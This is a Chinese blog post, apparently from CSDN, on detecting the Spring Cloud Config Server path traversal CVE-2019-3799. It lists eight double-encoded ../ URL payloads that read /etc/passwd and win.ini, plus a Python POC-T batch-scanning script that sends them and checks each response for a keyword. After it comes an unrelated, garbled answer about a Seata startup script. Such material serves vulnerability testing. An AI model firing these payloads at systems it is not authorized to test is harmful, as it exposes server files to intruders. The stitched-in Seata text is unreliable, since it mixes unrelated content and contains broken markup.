位置穿越服务器,编写Spring Cloud Config Server路径穿越漏洞全面检测脚本

Spring Cloud Config Server路径穿越漏洞(CVE-2019-3799)的分析文章已经很多了,这里我不在画蛇填足。在分析该漏洞之后,发现了一些小细节,感觉对该漏洞检测还是挺有帮助的。基于发现的这些细节,我们来构造适应各种场景,甚至各种奇葩场景的批量检测脚本!

0x01 简洁原理

Spring cloud config 分客户端和服务端。服务端供客户端查询配置,本次漏洞就是出在服务端。

当客户端提交的访问配置请求,会在服务端被解析为以下2种:

配置文件保存在服务端系统临时文件 {system_tmp_path} 下。在需要获取目标配置文件绝对路径时,服务端会将客户端提供的相对路径 {path} 和系统临时文件目录 {system_tmp_path} 进行拼接。

config_file_path = {system_tmp_path} + {path}

由于 {path} 客户端可控且未过滤 ../ ,从而导致目录穿越,可读服务端机器上任意文件!

0x02 漏洞检测点

经过分析代码,可以发现,其实该漏洞有三个检查点。不过网上大多数文章提供的漏洞url只是第一处。

7be3df180a5cb048465ac056a9d73372.png

9b2afdd53bfcaa1aa0e1d1a194c292c6.png

我们先看看第一处 @RequestMapping

@RequestMapping("/{name}/{profile}/{label}/**")

这里需要注意的是程序中默认 label 为 master ,在获取配置过程中,会对该值进行校验,故这里其值需要设置为 master ,而 name 和 profile 可以任意。由此我们可以构造如下url,即可匹配到该 @RequestMapping

http://xxx:8888/aaa/bbb/master/{payload}

我们接着来看第二处 @RequestMapping

@RequestMapping(value = "/{name}/{profile}/**", params = "useDefaultLabel")

根据Spring的RequestMapping匹配规则我们很容易构造以下url

http://xxx.com:8888/aaa/bbb/{payload}?useDefaultLabel=1

实际上我们构造的url虽然会被该 @RequestMapping 匹配到,但并不会执行该注解处代码。而是执行了以下注解处代码。

//org/springframework/cloud/config/server/environment/EnvironmentController.java

@RequestMapping("/{name}/{profiles}/{label:.*}")

public Environment labelled(...){

...

}

这是因为我们构造的url,都符合两处注解的匹配规则,但后者匹配度更好优先级更高( * 优先级大于 ** ),自然优先被框架用于处理请求了。

因此我们可以构造以下链接,让第一个注解匹配度最高,使得程序使用存在漏洞带方法来处理。

http://xxx.com:8888/aaa/bbb/ccc/{payload}?useDefaultLabel=1

第三处,和第一处构造的url一样的,需要在数据包Accept头加入 application/octet-stream 即可触发!

e9dad1bc83351f876e23f9b72b8a0b2f.png

0x03 目标操作系统

在黑盒渗透测试时,无法确定目标系统是Windows还是Linux,故最稳妥的方法是构造适合两者的payload,都检测一篇。

Linux下读 /etc/passwd ,检查关键字为 root:

Window下读 c:/Windows/win.ini ,检查关键字为 [extensions]

注意: 在Windows下该漏洞无法跨盘符读文件,也就是只能读和系统临时文件夹同盘符的任意路径下任意文件。 所以在Windwos系统下,系统临时文件路径被修改(这种情况比较少),即使目标存在漏洞,我们的payload也无法检测的,目前暂时没有好的解决方案。

0x04 ..%25F的个数

..%252F 是 ../ 的两次URL编码后结果,它是路径穿越的关键,其个数取决于系统临时文件目录的深度。

3.1 默认情况

这里的默认情况是指,服务端系统临时目录采用的是默认路径。

Windows系统临时文件存储路径:

file:/C:/Users/ADMINI~1/AppData/Local/Temp/

Windows下Spring cloud config server存储配置路径:

file:/C:/Users/ADMINI~1/AppData/Local/Temp/config-repo-/

Linux系统临时文件存储路径:

/tmp/

Linux下Spring cloud config server存储配置路径:

/tmp/config-repo-{random id}/

所以要吃掉所有配置路径,Windwos下第一处漏洞检测需要6个 ..%252F ,第二处需要7个,第三处需要6个。Linux下第一处2个,第二处需要3个,第三处需要6个。

3.2 极端情况

这里的极端情况是指,服务端系统临时目录被管理员自定义为其他路径,路径深度未知。这时我们可以估计一个最大深度50(相信不会有管理员奇葩到设置更深的目录了)

综合以上各个方面的分析,我们就可以构造出如下8个POC来检查,以应对各种情况该漏洞的检测。

http://xxx:8888/a/b/master/ + {..%252F}*2 + etc%252Fpasswd

http://xxx:8888/a/b/master/ + {..%252F}*6 + Windows%252Fwin.ini

http://xxx:8888/a/b/master/ + {..%252F}*50 + etc%252Fpasswd

http://xxx:8888/a/b/master/ + {..%252F}*50 + Windows%252Fwin.ini

http://xxx:8888/a/b/c/ + {..%252F}*3 + etc%252Fpasswd?useDefaultLabel=a

http://xxx:8888/a/b/c/ + {..%252F}*7 + Windows%252Fwin.ini?useDefaultLabel=a

http://xxx:8888/a/b/c/ + {..%252F}*50 + etc%252Fpasswd?useDefaultLabel=a

http://xxx:8888/a/b/c/ + {..%252F}*50 + Windows%252Fwin.ini?useDefaultLabel=a

0x05 批量检测脚本

下面附上我写的POC-T插件

#coding=utf-8

'''

Autor: c0ny1

Date: 2019-04-20 16:41

Description: Directory Traversal with spring-cloud-config-server(CVE-2019-3799)

Affected Pivotal Products and Versions:

Spring Cloud Config 2.1.0 to 2.1.1

Spring Cloud Config 2.0.0 to 2.0.3

Spring Cloud Config 1.4.0 to 1.4.5

Older unsupported versions are also affected

'''

import requests

from requests import ConnectionError

WIN_CHECK_KEYWORD = '[extensions]'

LINUX_CHECK_KEYWORD = 'root:'

def init_poc():

pocs = []

payload = '/a/b/master/' + '..%252F'*2 + 'etc%252Fpasswd'

poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD}

pocs.append(poc)

payload = '/a/b/master/' + '..%252F'*6 + 'Windows%252Fwin.ini'

poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD}

pocs.append(poc)

payload = '/a/b/master/' + '..%252F'*50 + 'etc%252Fpasswd'

poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD}

pocs.append(poc)

payload = '/a/b/master/' + '..%252F'*50 + 'Windows%252Fwin.ini'

poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD}

pocs.append(poc)

payload = '/a/b/c/' + '..%252F'*3 + 'etc%252Fpasswd?useDefaultLabel=a'

poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD}

pocs.append(poc)

payload = '/a/b/c/' + '..%252F'*7 + 'Windows%252Fwin.ini?useDefaultLabel=a'

poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD}

pocs.append(poc)

payload = '/a/b/c/' + '..%252F'*50 + 'etc%252Fpasswd?useDefaultLabel=a'

poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD}

pocs.append(poc)

payload = '/a/b/c/' + '..%252F'*50 + 'Windows%252Fwin.ini?useDefaultLabel=a'

poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD}

pocs.append(poc)

return pocs

pocs = init_poc()

def poc(url):

for p in pocs:

url = url if not url.endswith('/') else url[0:len(url)-1] #去掉结尾/

target_url = url + p.get('payload')

try:

r = requests.get(target_url,timeout=10)

except Exception,e:

continue

if (r.status_code == 200) and (p.get('keyword') in r.content):

return True

return False

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
D:\springcloud\soft\seata\bin\seata-server.bat是Seata服务器的启动脚本。根据引用中的描述,如果在启动时出现闪退并且日志中报告了GC错误,可能是由于参数配置错误导致的。根据引用和引用的内容,您可以检查以下几个方面来定位问题: 1. 检查application.yml中的配置参数是否正确覆盖了application.example.yml中的参数。确保console、seata.security和ignore.urls的配置与示例中的一致。 2. 打开conf目录,根据application.example.yml中的示例配置,修改application.yml中的seata.config和seata.registry的配置。特别注意将注册中心和配置中心的类型修改为nacos,并填写正确的nacos相关配置信息,如server-addr、group、namespace、username和password。 3. 确保Seata注册中心和配置中心在nacos中存在,并且与application.yml中的配置一致。 这些步骤应该有助于您解决Seata服务器启动时的问题。如果问题仍然存在,请提供更多的错误信息或日志,以便我们进行进一步的分析和帮助。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [Spring Cloud Alibaba Seata(一)](https://blog.csdn.net/weixin_42472027/article/details/131277039)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值